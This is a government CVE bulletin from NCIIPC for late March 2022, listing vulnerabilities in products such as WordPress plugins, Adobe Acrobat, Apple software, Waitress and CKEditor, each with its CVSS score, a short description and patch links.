https://nciipc.gov.in/

National Critical Information Infrastructure Protection Centre

Common Vulnerabilities and Exposures (CVE) Report

16 – 31 Mar 2022 Vol. 09 No. 06

Table of Content

Common Vulnerabilities and Exposures (CVE) Report

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Application					
Vendor: 3dflipbook					
Product: 3d_flipbook					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	5.4	The 3D FlipBook WordPress plugin before 1.12.1 does not have authorisation and CSRF checks when updating its settings, and does not have any sanitisation/escaping, allowing any authenticated users, such as subscriber to put Cross-Site Scripting payloads in all pages with a 3d flipbook. **CVE ID : CVE-2022-0423**	N/A	A-3DF-3D_F-070422/1
Vendor: accel-ppp					
Product: accel-ppp					
Out-of-bounds Write	16-Mar-22	9.8	The telnet_input_char function in opt/src/accel-pppd/cli/telnet.c suffers from a memory corruption vulnerability, whereby user input cmdline_len is copied into a fixed buffer b->buf without any bound checks. If the server connects with a malicious client,	N/A	A-ACC-ACCE-070422/2

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			crafted client requests can remotely trigger this vulnerability. **CVE ID : CVE-2022-0982**		
Vendor: accesslog_project					
Product: accesslog					
Improper Control of Generation of Code ('Code Injection')	17-Mar-22	9.8	All versions of package accesslog are vulnerable to Arbitrary Code Injection due to the usage of the Function constructor without input sanitization. If (attacker-controlled) user input is given to the format option of the package's exported constructor function, it is possible for an attacker to execute arbitrary JavaScript code on the host that this package is being run on. **CVE ID : CVE-2022-25760**	N/A	A-ACC-ACCE-070422/3
Vendor: accesspressthemes					
Product: ap_mega_menu					
Improper Neutralization of Input During Web Page Generation	21-Mar-22	6.1	The Mega Menu WordPress plugin before 3.0.8 does not sanitize and escape the _wpnonce parameter before outputting it back in an admin page,	https://plugins.trac.wordpress.org/changeset/2684307	A-ACC-AP_M-070422/4

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			leading to a Reflected Cross-Site Scripting. **CVE ID : CVE-2022-0628**		
Vendor: Admidio					
Product: admidio					
Insufficient Session Expiration	19-Mar-22	7.1	Insufficient Session Expiration in GitHub repository admidio/admidio prior to 4.1.9. **CVE ID : CVE-2022-0991**	https://github.com/admidio/admidio/commit/e84e472ebe517e2ff5795c46dc10b5f49dc4d46a, https://huntr.dev/bounties/1c406a4e-15d0-4920-8495-731c48473ba4	A-ADM-ADMI-070422/5
Vendor: Adobe					
Product: acrobat					
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file.	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/6

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-24091		
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24092**	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/7
Product: acrobat_dc					
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/8

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			victim must open a malicious font file. **CVE ID : CVE-2022-24091**		
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24092**	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/9
Product: acrobat_reader					
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24091**		
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24092**	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/11
Product: acrobat_reader_dc					
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/12

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24091**		
Out-of-bounds Write	18-Mar-22	7.8	Acrobat Reader DC version 21.007.20099 (and earlier), 20.004.30017 (and earlier) and 17.011.30204 (and earlier) are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious font file. **CVE ID : CVE-2022-24092**	https://helpx.adobe.com/security/products/acrobat/apsb22-01.html	A-ADO-ACRO-070422/13
Vendor: agendaless					
Product: waitress					
Inconsistent Interpretation of HTTP Requests ('HTTP Request	17-Mar-22	7.5	Waitress is a Web Server Gateway Interface server for Python 2 and 3. When using Waitress versions 2.1.0 and prior behind a proxy that does not	https://github.com/Pylons/waitress/commit/9e0b8c801e4d505c2ffc91b891af4ba48af715e0, https://github.com/Pylons/wai	A-AGE-WAIT-070422/14

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Smuggling')		🟧	properly validate the incoming HTTP request matches the RFC7230 standard, Waitress and the frontend proxy may disagree on where one request starts and where it ends. This would allow requests to be smuggled via the front-end proxy to waitress and later behavior. There are two classes of vulnerability that may lead to request smuggling that are addressed by this advisory: The use of Python's `int()` to parse strings into integers, leading to `+10` to be parsed as `10`, or `0x01` to be parsed as `1`, where as the standard specifies that the string should contain only digits or hex digits; and Waitress does not support chunk extensions, however it was discarding them without validating that they did not contain illegal characters. This vulnerability has been patched in Waitress 2.1.1. A workaround is	tress/security/advisories/GHSA-4f7p-27jc-3c36	

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			available. When deploying a proxy in front of waitress, turning on any and all functionality to make sure that the request matches the RFC7230 standard. Certain proxy servers may not have this functionality though and users are encouraged to upgrade to the latest version of waitress instead. **CVE ID : CVE-2022-24761**		
Vendor: Ait-pro					
Product: bulletproof_security					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	4.8	The BulletProof Security WordPress plugin before 5.8 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed. **CVE ID : CVE-2022-0590**	N/A	A-AIT-BULL-070422/15
Vendor: alf-banco					
Product: alf-banco					
Use of Hard-	25-Mar-22	9.1	ALF-BanCO v8.2.5 and below was discovered to use a	N/A	A-ALF-ALF--070422/16

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
coded Credentials			hardcoded password to encrypt the SQLite database containing the user's data. Attackers who are able to gain remote or local access to the system are able to read and modify the data. **CVE ID : CVE-2022-25577**		
Vendor: anaconda					
Product: anaconda3					
Untrusted Search Path	17-Mar-22	7.8	Anaconda Anaconda3 through 2021.11.0.0 and Miniconda3 through 11.0.0.0 can create a world-writable directory under %PROGRAMDATA% and place that directory into the system PATH environment variable. Thus, for example, local users can gain privileges by placing a Trojan horse file into that directory. (This problem can only happen in a non-default installation. The person who installs the product must specify that it is being installed for all users. Also, the person who installs the product must specify that the	https://docs.conda.io/en/latest/miniconda.html	A-ANA-ANAC-070422/17

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			system PATH should be changed.) **CVE ID : CVE-2022-26526**		
Vendor: Anchorcms					
Product: anchor_cms					
Cross-Site Request Forgery (CSRF)	24-Mar-22	4.5	Anchor CMS v0.12.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component anchor/routes/posts.php. This vulnerability allows attackers to arbitrarily delete posts. **CVE ID : CVE-2022-25576**	N/A	A-ANC-ANCH-070422/18
Vendor: Apple					
Product: garageband					
Improper Initialization	18-Mar-22	7.8	A memory initialization issue was addressed with improved memory handling. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22657**	https://support.apple.com/en-us/HT213183, https://support.apple.com/en-us/HT213191, https://support.apple.com/en-us/HT213190	A-APP-GARA-070422/19

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22664**	https://support.apple.com/en-us/HT213183, https://support.apple.com/en-us/HT213191, https://support.apple.com/en-us/HT213190	A-APP-GARA-070422/20
Product: itunes					
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to arbitrary code execution. **CVE ID : CVE-2022-22611**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	A-APP-ITUN-070422/21
Improper Restriction of Operations within the Bounds of	18-Mar-22	7.8	A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4,	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186,	A-APP-ITUN-070422/22

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
a Memory Buffer			iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22612**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Product: logic_pro_x					
Improper Initialization	18-Mar-22	7.8	A memory initialization issue was addressed with improved memory handling. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22657**	https://support.apple.com/en-us/HT213183, https://support.apple.com/en-us/HT213191, https://support.apple.com/en-us/HT213190	A-APP-LOGI-070422/23
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Logic Pro 10.7.3, GarageBand 10.4.6, macOS Monterey 12.3. Opening a maliciously crafted file may lead to	https://support.apple.com/en-us/HT213183, https://support.apple.com/en-us/HT213191, https://support.apple.com/en-us/HT213190	A-APP-LOGI-070422/24

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22664**		
Product: safari					
Improper Input Validation	18-Mar-22	6.1	A validation issue was addressed with improved input sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a maliciously crafted mail message may lead to running arbitrary javascript. **CVE ID : CVE-2022-22589**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	A-APP-SAFA-070422/25
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	A-APP-SAFA-070422/26

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22592		
Origin Validation Error	18-Mar-22	6.5	A cross-origin issue in the IndexDB API was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may be able to track sensitive user information. **CVE ID : CVE-2022-22594**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	A-APP-SAFA-070422/27
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in macOS Monterey 12.2.1, iOS 15.3.1 and iPadOS 15.3.1, Safari 15.3 (v. 16612.4.9.1.8 and 15612.4.9.1.8). Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.. **CVE ID : CVE-2022-22620**	https://support.apple.com/en-us/HT213092, https://support.apple.com/en-us/HT213093, https://support.apple.com/en-us/HT213091	A-APP-SAFA-070422/28

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Input Validation	18-Mar-22	4.3	A user interface issue was addressed. This issue is fixed in watchOS 8.5, Safari 15.4. Visiting a malicious website may lead to address bar spoofing. **CVE ID : CVE-2022-22654**	https://support.apple.com/en-us/HT213187, https://support.apple.com/en-us/HT213193	A-APP-SAFA-070422/29
Product: xcode					
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22601**	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/30
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22602**	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/31

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22603**	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/32
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22604**	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/33
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/34

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary code execution. **CVE ID : CVE-2022-22605**		
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22606**	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/35
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22607**	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/36
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in Xcode 13.3. Opening a maliciously crafted file may lead to	https://support.apple.com/en-us/HT213189	A-APP-XCOD-070422/37

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unexpected application termination or arbitrary code execution. **CVE ID : CVE-2022-22608**		
Vendor: automotivelinux					
Product: kooky_koi					
Missing Authorization	18-Mar-22	9.8	Automotive Grade Linux Kooky Koi 11.0.0, 11.0.1, 11.0.2, 11.0.3, 11.0.4, and 11.0.5 is affected by Incorrect Access Control in usr/bin/afb-daemon. To exploit the vulnerability, an attacker should send a well-crafted HTTP (or WebSocket) request to the socket listened by the afb-daemon process. No credentials nor user interactions are required. **CVE ID : CVE-2022-24595**	N/A	A-AUT-KOOK-070422/38
Vendor: axiosys					
Product: bento4					
Out-of-bounds Read	21-Mar-22	8.1	Bento4 1.6.0-639 has a heap-based buffer over-read in the AP4_HvccAtom class, a different issue than CVE-2018-14531. **CVE ID : CVE-2022-27607**	N/A	A-AXI-BENT-070422/39

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: baomidou					
Product: mybatis-plus					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	22-Mar-22	9.8	MyBatis plus v3.4.3 was discovered to contain a SQL injection vulnerability via the Column parameter in /core/conditions/AbstractWrapper.java. **CVE ID : CVE-2022-25517**	N/A	A-BAO-MYBA-070422/40
Vendor: beekeeperstudio					
Product: beekeeper_studio					
Improper Control of Generation of Code ('Code Injection')	21-Mar-22	9.8	A remote code execution (RCE) vulnerability in Beekeeper Studio v3.2.0 allows attackers to execute arbitrary code via a crafted payload injected into the display fields. **CVE ID : CVE-2022-26174**	https://github.com/beekeeper-studio/beekeeper-studio/issues/1051	A-BEE-BEEK-070422/41
Vendor: Bigantsoft					
Product: bigant_server					
Exposure of Resource to Wrong Sphere	21-Mar-22	7.5	BigAnt Software BigAnt Server v5.6.06 was discovered to contain incorrect access control. **CVE ID : CVE-2022-23345**	N/A	A-BIG-BIGA-070422/42
Unrestricted Upload of File with	21-Mar-22	8.8	BigAnt Software BigAnt Server v5.6.06 was discovered to	N/A	A-BIG-BIGA-070422/43

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Dangerous Type			contain incorrect access control issues. **CVE ID : CVE-2022-23346**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	21-Mar-22	7.5	BigAnt Software BigAnt Server v5.6.06 was discovered to be vulnerable to directory traversal attacks. **CVE ID : CVE-2022-23347**	N/A	A-BIG-BIGA-070422/44
Use of Password Hash With Insufficient Computational Effort	21-Mar-22	5.3	BigAnt Software BigAnt Server v5.6.06 was discovered to utilize weak password hashes. **CVE ID : CVE-2022-23348**	N/A	A-BIG-BIGA-070422/45
Cross-Site Request Forgery (CSRF)	21-Mar-22	8.8	BigAnt Software BigAnt Server v5.6.06 was discovered to contain a Cross-Site Request Forgery (CSRF). **CVE ID : CVE-2022-23349**	N/A	A-BIG-BIGA-070422/46
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	5.4	BigAnt Software BigAnt Server v5.6.06 was discovered to contain a cross-site scripting (XSS) vulnerability. **CVE ID : CVE-2022-23350**	N/A	A-BIG-BIGA-070422/47

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Loop with Unreachable Exit Condition ('Infinite Loop')	21-Mar-22	7.5	An issue in BigAnt Software BigAnt Server v5.6.06 can lead to a Denial of Service (DoS). **CVE ID : CVE-2022-23352**	N/A	A-BIG-BIGA-070422/48
Vendor: bitrix24					
Product: bitrix24					
Improper Input Validation	22-Mar-22	9.8	In the vote (aka "Polls, Votes") module before 21.0.100 of Bitrix Site Manager, a remote unauthenticated attacker can execute arbitrary code. **CVE ID : CVE-2022-27228**	https://helpdesk.bitrix24.com/open/15536776/	A-BIT-BITR-070422/49
Vendor: bluedon					
Product: internet_access_detector					
Exposure of Sensitive Information to an Unauthorized Actor	24-Mar-22	7.5	Bluedon Information Security Technologies Co.,Ltd Internet Access Detector v1.0 was discovered to contain an information leak which allows attackers to access the contents of the password file via unspecified vectors. **CVE ID : CVE-2022-25571**	N/A	A-BLU-INTE-070422/50
Vendor: bodymen_project					
Product: bodymen					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	17-Mar-22	7.3	The package bodymen from 0.0.0 are vulnerable to Prototype Pollution via the handler function which could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload. **Note:** This vulnerability derives from an incomplete fix to [CVE-2019-10792](https://security.snyk.io/vuln/SNYK-JS-BODYMEN-548897) **CVE ID : CVE-2022-25296**	N/A	A-BOD-BODY-070422/51
Vendor: Broadcom					
Product: tcpreplay					
Reachable Assertion	22-Mar-22	5.5	tcpprep v4.4.1 has a reachable assertion (assert(l2len > 0)) in packet2tree() at tree.c in tcpprep v4.4.1. **CVE ID : CVE-2022-25484**	N/A	A-BRO-TCPR-070422/52
Reachable Assertion	26-Mar-22	5.5	tcprewrite in Tcpreplay 4.4.1 has a reachable assertion in get_layer4_v6 in common/get.c. **CVE ID : CVE-2022-27939**	N/A	A-BRO-TCPR-070422/53

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	26-Mar-22	7.8	tcprewrite in Tcpreplay 4.4.1 has a heap-based buffer over-read in get_ipv6_next in common/get.c. **CVE ID : CVE-2022-27940**	N/A	A-BRO-TCPR-070422/54
Out-of-bounds Write	26-Mar-22	7.8	tcprewrite in Tcpreplay 4.4.1 has a heap-based buffer over-read in get_l2len_protocol in common/get.c. **CVE ID : CVE-2022-27941**	N/A	A-BRO-TCPR-070422/55
Out-of-bounds Write	26-Mar-22	7.8	tcpprep in Tcpreplay 4.4.1 has a heap-based buffer over-read in parse_mpls in common/get.c. **CVE ID : CVE-2022-27942**	N/A	A-BRO-TCPR-070422/56
Vendor: chainsafe					
Product: js-libp2p-noise					
Improper Verification of Cryptographic Signature	17-Mar-22	7.4	`@chainsafe/libp2p-noise` contains TypeScript implementation of noise protocol, an encryption protocol used in libp2p. `@chainsafe/libp2p-noise` before 4.1.2 and 5.0.3 does not correctly validate signatures during the handshake process. This may allow a man-in-the-middle to pose as	https://github.com/ChainSafe/js-libp2p-noise/pull/130, https://github.com/ChainSafe/js-libp2p-noise/releases/tag/v5.0.3, https://github.com/ChainSafe/js-libp2p-noise/security/advisories/GHSA-j3ff-xp6c-6gcc	A-CHA-JS-L-070422/57

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			other peers and get those peers banned. Users should upgrade to version 4.1.2 or 5.0.3 to receive a patch. There are currently no known workarounds. **CVE ID : CVE-2022-24759**		
Vendor: chshcms					
Product: cscms					
URL Redirection to Untrusted Site ('Open Redirect')	21-Mar-22	5.4	Cscms Music Portal System v4.2 was discovered to contain a redirection vulnerability via the backurl parameter. **CVE ID : CVE-2022-27090**	N/A	A-CHS-CSCM-070422/58
Vendor: Ckeditor					
Product: ckeditor					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Mar-22	5.4	CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. A vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4 prior to version 4.18.0. The vulnerability allows someone to inject malformed HTML bypassing content sanitization, which could result in	https://ckeditor.com/cke4/release/CKEditor-4.18.0, https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-4fc4-4p5g-6w89, https://github.com/ckeditor/ckeditor4/commit/d158413449692d920a778503502dcb22881bc949	A-CKE-CKED-070422/59

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			executing JavaScript code. This problem has been patched in version 4.18.0. There are currently no known workarounds. **CVE ID : CVE-2022-24728**		
N/A	16-Mar-22	7.5	CKEditor4 is an open source what-you-see-is-what-you-get HTML editor. CKEditor4 prior to version 4.18.0 contains a vulnerability in the `dialog` plugin. The vulnerability allows abuse of a dialog input validator regular expression, which can cause a significant performance drop resulting in a browser tab freeze. A patch is available in version 4.18.0. There are currently no known workarounds. **CVE ID : CVE-2022-24729**	https://ckeditor.com/cke4/release/CKEditor-4.18.0, https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-f6rf-9m92-x2hh, https://www.drupal.org/sa-core-2022-005	A-CKE-CKED-070422/60
Vendor: classcms					
Product: classcms					
Unrestricted Upload of File with Dangerous Type	18-Mar-22	7.8	Classcms v2.5 and below contains an arbitrary file upload via the component \class\classupload. This vulnerability	N/A	A-CLA-CLAS-070422/61

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows attackers to execute code injection via a crafted .txt file. **CVE ID : CVE-2022-25581**		
Vendor: classcms_project					
Product: classcms					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Mar-22	5.4	A stored cross-site scripting (XSS) vulnerability in the Column module of ClassCMS v2.5 and below allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Add Articles field. **CVE ID : CVE-2022-25582**	N/A	A-CLA-CLAS-070422/62
Vendor: conda					
Product: miniconda3					
Untrusted Search Path	17-Mar-22	7.8	Anaconda Anaconda3 through 2021.11.0.0 and Miniconda3 through 11.0.0.0 can create a world-writable directory under %PROGRAMDATA% and place that directory into the system PATH environment variable. Thus, for example, local users can gain privileges by placing a Trojan horse file into that	https://docs.conda.io/en/latest/miniconda.html	A-CON-MINI-070422/63

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			directory. (This problem can only happen in a non-default installation. The person who installs the product must specify that it is being installed for all users. Also, the person who installs the product must specify that the system PATH should be changed.) **CVE ID : CVE-2022-26526**		
Vendor: Contao					
Product: contao					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	18-Mar-22	9.8	Contao Managed Edition v1.5.0 was discovered to contain a remote command execution (RCE) vulnerability via the component php_cli parameter. **CVE ID : CVE-2022-26265**	N/A	A-CON-CONT-070422/64
Vendor: craterapp					
Product: crater					
N/A	21-Mar-22	6.5	Business Logic Errors in GitHub repository crater-invoice/crater prior to 6.0.5. **CVE ID : CVE-2022-0514**	https://huntr.dev/bounties/af08000d-9f4a-4743-865d-5d5cdaf7fb27, https://github.com/crater-invoice/crater/commit/fadef0ea07d2f7fb3f41c	A-CRA-CRAT-070422/65

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
				2cae444ebca2f479679	
Cross-Site Request Forgery (CSRF)	21-Mar-22	4.3	Cross-Site Request Forgery (CSRF) in GitHub repository crater-invoice/crater prior to 6.0.4. **CVE ID : CVE-2022-0515**	https://huntr.dev/bounties/efb93f1f-1896-4a4c-a059-9ecadac1c4de, https://github.com/crater-invoice/crater/commit/2b7028b7c83fd6e8897f244a2e6723baa20479e5	A-CRA-CRAT-070422/66
Unrestricted Upload of File with Dangerous Type	23-Mar-22	7.8	Unrestricted Upload of File with Dangerous Type in GitHub repository crater-invoice/crater prior to 6.0.6. **CVE ID : CVE-2022-1033**	https://github.com/crater-invoice/crater/commit/88035ea49082f7053a37ef07bf3587e09d9d22b4, https://huntr.dev/bounties/4d7d4fc9-e0cf-42d3-b89c-6ea57a769045	A-CRA-CRAT-070422/67
Vendor: digitalbazaar					
Product: forge					
Improper Verification of Cryptographic Signature	18-Mar-22	7.5	Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.3.0, RSA PKCS#1 v1.5 signature verification code is lenient in checking the digest algorithm structure. This can	https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765, https://github.com/digitalbazaar/forge/commit/3f0b49a0573ef1bb7af7f5673c0cfebf00424df1	A-DIG-FORG-070422/68

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used. The issue has been addressed in `node-forge` version 1.3.0. There are currently no known workarounds. **CVE ID : CVE-2022-24771**		
